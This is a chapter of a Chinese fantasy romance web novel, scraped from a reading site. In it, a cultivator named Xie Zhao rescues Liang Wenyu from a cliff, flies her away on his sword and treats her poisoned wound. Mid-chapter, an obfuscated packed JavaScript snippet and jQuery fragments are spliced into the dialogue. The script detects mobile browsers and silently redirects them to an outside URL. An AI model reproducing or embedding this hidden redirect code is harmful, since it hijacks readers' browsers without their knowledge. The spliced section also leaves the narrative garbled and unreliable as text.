默认冷灰
24号文字
方正启体

7. 第7章 谢昭

作者:晴陌本书字数:K更新时间:
    真的是他!


    梁温玉不敢相信自己的眼睛。


    危急关头,谢昭居然出现在她面前,紧紧抓住了她!


    两人继续靠着崖边一起向下滑出几丈,直到谢昭抓住块崖边的岩石,才硬生生阻止住两个人的身子继续下坠。


    梁温玉身中寒毒,深入骨髓的冷让她忍不住发着抖,只能贴近他温热的身体才稍稍得以缓解。


    手臂的伤口还在滴血,用力拉扯之下疼得她几乎晕厥,绝望地流下两行泪水。从小到大她何时受过这等委屈,如今却连续差点丢掉性命,怎么可能不怕!


    她咬咬牙费力地伸长手臂抱住他的脖子,暂时脱离了危险。


    “别哭了!你这样死抓着我不放,我没办法御剑了,想死不要带上我。”


    梁温玉抬眼望去,只见谢昭脸色苍白,咬紧牙齿,身体悬在半空,两个人的重量仅靠他一只手吊着,指节因吃劲都已发白。


    “……我、我现在该怎么帮你。”


    “你试试……能不能将我腰间的剑拔出来。”


    梁温玉身体重心不稳,腾出右手碰到了湛泸冰冷的剑柄,却死活拔不动那把该死的剑。她气喘吁吁道:“不行,这样使不上力……你不是法术高强吗?赶快念咒语让你的剑出鞘啊!”


    她哪里知道,御剑术需要借天地之灵力方可驱动法宝,本是玄清门弟子入门修炼的第一步。


    方才谢昭从抓住她手的一刻就在尝试引天地灵气入体周转,然而连他自己也不知是何原因,突然就一口真气提不上来,居然无法唤醒湛泸剑,为了救这爱闯祸的千金小姐挂在悬崖边也是十分难受,进退两难。


    谢昭沉默不语,忽然右臂用力将她整个人向上提起,一把揽住她柔软的腰。


    梁温玉惊喘一声,像只小鸡一般被拎了起来,倒是没方才那么疼痛了。她却没有看见他此刻的表情变得古怪,这姿势靠她太近,都能看见她后颈处白皙柔腻的皮肤,还有耳边细碎的鬓发,莫名散发的淡淡少女香气,闻着不由得心中一荡。


    梁温玉被他强劲有力的手臂箍得透不过气,两只手刚解放出来,连忙用力将湛泸剑拔出。


    出了鞘的剑寒气森森,剑刃反射着摄人的银芒。这上古神兵似乎读得懂主人心中所想,飘到谢昭脚下载着二人腾空而起,终于脱离了险境。


    悬崖、翠竹、苍松,深浅不一的绿意层层叠叠,接连着自他们的脚下闪过。


    梁温玉的心砰砰直跳,震撼地看着脚下飞速而过的满山青翠,被那极为壮观的风景震撼地说不出话,恐惧之感也跟着缓解不少。


    “我的衣服都要被你扯破了。”


    “对、对不起。”她嘴里说着,但仍然紧紧用腿和手臂缠紧谢昭硬得像石像一般的身体,伏在他的背上一刻不敢松开。


    “九幽冥罗……”


    “你说什么?”


    “……方才那些血蝙蝠,似乎不是寻常妖物,和传说中名叫九幽冥罗的妖物很是相似。”


    “好可怕……你的意思是说,那些蝙蝠是从地狱里放出来的?”梁温玉想起刚刚那些可怕的没有眼睛的怪物,鸡皮疙瘩都出来了。


    谢昭没有继续说下去,


    这种至凶至阴的妖物专司负责看守忘川渡口那些被永世不得超生的亡魂,一旦离开冥界只怕根本活不了多长时间。光天化日之下有如此多的九幽冥罗出现在仙灵山,像是在追捕什么。


    他回想起了「大荒妖记·堕神篇」中的那句话:妖神一朝破劫降世,万窟邪祟尽出。


    若蓝氏所言非虚,难道九幽冥罗是为了妖神赤尾的元神而来?


    梁温玉还在他背后一路聒噪,谢昭方才亲眼见这小丫头几招就灭了那些蝠妖,速度之快,招式之狠辣简直匪夷所思,那招式奇特并不像人类。


    莫非,那日他用湛泸剑斩下狐妖首级时,那元神已经进入了这个五小姐的身体里,刚刚她身体爆发的也许就是妖神之力了……


    修真炼道一为追求永生,二为获得无上的力量,谢昭也不例外,他想变强,想有足够的力量可以驾驭手中这把湛泸剑,他更想靠一己之力光耀无相宗门。如果妖神之力可以为自己所用的话……谢昭的注意力转移到了梁温玉身上。


    她根本对方才的事一无所知,还以为是谢昭杀退了那些蝙蝠,还在为逃过一劫感到侥幸。


    “我若是以后也会这么厉害的法术就好了,以后谁再敢惹我,我就‘咻咻咻’灭了他!”


    “……”


    谢昭没有否认,更没有反问她。她看似天真纯洁毫无心机,而且全身上下并无任何妖物附体的异样,谢昭当下只能静观其变。


    梁温玉见他沉默不语,又问:“对了,你是怎么知道我在这的?”


    “你娘亲派人到处在找你,前山已经搜过好几遍了。我也只是猜你可能误入了后山的瘴气,被困在万仞峰上了。”


    原来这里叫万仞峰……


    梁温玉又想说话,可突然一阵眩晕和恶心之感袭来,身子支撑不住的向后倒去,谢昭脚下的湛泸剑突然一沉,山林里冰凉的风飞速袭过她的脸,她身子给吹得重心不稳,意识也跟着开始涣散。


    那种冰冷的恶心之感从手臂的伤口开始蔓延,只怕是那蝙蝠的爪子有毒!


    “停……放我下来……”梁温玉发出微弱的呓语。


    湛泸剑开始左右摇晃,继续强行御空只怕会有摔下来的危险,谢昭将她及时拉住,又撑着勉强飞了一段,找到一块空地将她放下。


    梁温玉身子一软倚着棵树喘着粗气,手臂的鲜血浸透衣袖,脸色惨白。


    谢昭皱起眉头,替她拉起袖子,只见伤口处尽是黑紫之色,显然是中了毒。


    他片刻未思索,低头便将那毒血一口接一口用嘴吸出,直到看见伤口流出的血恢复了鲜红才停下。


    梁温玉见他这般不顾安危来救自己,不禁心头一震。


    “你这样……不怕自己中毒吗?”


    “若不这样,你即刻就要没命了。”谢昭的嘴唇被她的血染得鲜红,居然有一丝妖冶的美,他从怀里掏出一颗解毒灵丹服下,又递了一颗给她。


    他擦去嘴角的血渍,从衣摆处撕下块布条,小心帮她把伤口包扎好,


    “把这药吃了,便不会再有大碍,回去记得伤口再敷些金创药。”


    梁温玉的脸庞恢复了些血色,因为疼痛眼睛看起来水汪汪的,想起方才两人绝境时肌肤相亲紧紧相拥在一起的模样,内心有种说不出的窘迫,脸颊滚烫,她故意半开玩笑地说道:


    “呃,虽说这两回都是你救我的,但不是我求的你……别指望我会知恩图报。”


    他挨着她坐下,静静看着面前不停擦拭衣服上污渍的女孩。


    她此时衣襟满是血污,头发凌乱,还受了伤,在如此狼狈的境遇还在逞强,那张局促的小脸略显娇羞,与方才那个大开杀戒的魔女,简直判若两人。


    “那木偶你可还带在身上吗?”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482577|201833||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他看似不经意地问道。


    梁温玉苦笑着摇头,“那木偶在我出事时就下落不明了……唉,都怪我贪玩,招惹了不干净的东西。上次我还不信你的话,咬了你一口……”


    “……”


    谢昭沉默地擦拭着剑身,一时间气氛有些尴尬。


    “上次我咬了你的手臂,这次那些蝙蝠妖替你报了仇……你已经不生我的气了吧?”


    她故意朝他坐的位置挪了挪,调皮地眨了眨眼睛。


    谢昭淡淡道:“若是我真生气,方才就不会救你……只是我不知,你为何会到山上来?”


    梁温玉刚想说自己是为了寻找结香树,忽然想到半路偶遇沈湄之事。


    她的脑筋开始疯狂运转应当如何把沈湄约他月下练剑的事说出来,却发现实在有些难以启齿。当下决定还是等稍后脱离了危险,再同他细细说。万一此时惹怒了此人,把她一个人丢在这荒郊野岭该如何是好。


    “我是为了寻找姻缘树,才被困在山上的。我很小的时候娘曾经带我来过一回,她那时说希望未来有一日可以和爹爹一同在那树下祈福。可惜她的心愿一直没有达成,爹爹总是军务缠身,后来……再也没听娘提起过此事了。对了,你有法子带我找到那棵结香树吗?”


    “伤成这样了还要去?”


    梁温玉笑着道:“我就知道你能找到那棵树……带我过去好不好?平日里我身子不好……侯府母亲更是不准我随意外出,求求你了,我真的很想去见见那姻缘树。”


    “你有了心仪之人?”


    “才不是!我是为了阿娘和爹爹……他们最近话都很少说了。唉,我娘她是个痴心女子,我不忍看她成日失魂落魄。据说那树下埋着狐仙娘娘,会保佑有缘出现在树下许愿的男女!我只是想替她完成这个小小的心愿,将这条绸带绑上去……”


    说着,梁温玉从怀里掏出了那条红细带,谢昭看着那绸带上写得歪歪斜斜的两个名字,脸上的表情复杂。


    “无稽之谈罢了。那树下埋葬的女子,自己一生都过得坎坷,又能庇佑得了谁呢?”


    谢昭看向远方,淡然的脸上居然浮现出一丝忧伤。


    梁温玉撒娇道:“若真的是你说的这样,整个临沅城还把这树传得神乎其神,只能说明那埋葬在树下的定是个心肠很好的仙女!更要去拜祭一下了。”


    “……”


    梁温玉低头瞧了瞧自己身上的污血,忽然伸手拉住了他,低声求道:“这样吧,算上你之前救我的两次,他日我梁温玉也会为你做三件事!我们拉钩好不好……”


    “……”


    “……待会儿可不可以先带我去找件衣服换上?我不想让我阿娘看见我现在的样子。”


    她真的伸出了小指,谢昭才不想理她这般幼稚的举动,她这样娇生惯养的小姐也只会抚琴绣花罢了,还说要为他做事,真是可笑。


    梁温玉气呼呼地拉起他的左手,用自己的小指头紧紧勾了一下他的小指。那手指皮肤柔腻温热,是未曾沾过半点粗活才会有的细若无骨。


    他心头莫名一乱,不耐烦地把手抽走。感觉自己这回是真的惹上了大麻烦,似乎自己是欠她的一样……


    “上来,再耽误下去时间就要天黑了。”谢昭冷漠地祭起了湛泸剑。


    “走、走!”


    梁温玉心想,这人当真阴晴不定,连忙拉着他的衣服下摆,小心翼翼爬到了剑上。


    二人御剑同行,向西飞去。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)